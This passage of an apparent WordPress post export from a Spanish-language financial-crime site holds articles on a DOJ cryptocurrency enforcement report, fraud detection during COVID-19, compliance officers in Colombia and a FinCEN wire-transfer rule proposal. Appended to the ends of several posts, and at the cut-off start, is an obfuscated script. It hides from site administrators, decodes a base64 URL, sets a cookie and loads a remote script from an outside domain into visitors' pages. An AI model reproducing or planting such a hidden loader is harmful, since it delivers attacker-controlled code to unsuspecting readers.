Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. UU. y que los valores promedio y medios en d\u00f3lares de los fondos mencionados en los ROS eran de aproximadamente US$ 509 y US$ 255, respectivamente,\u00a0<a 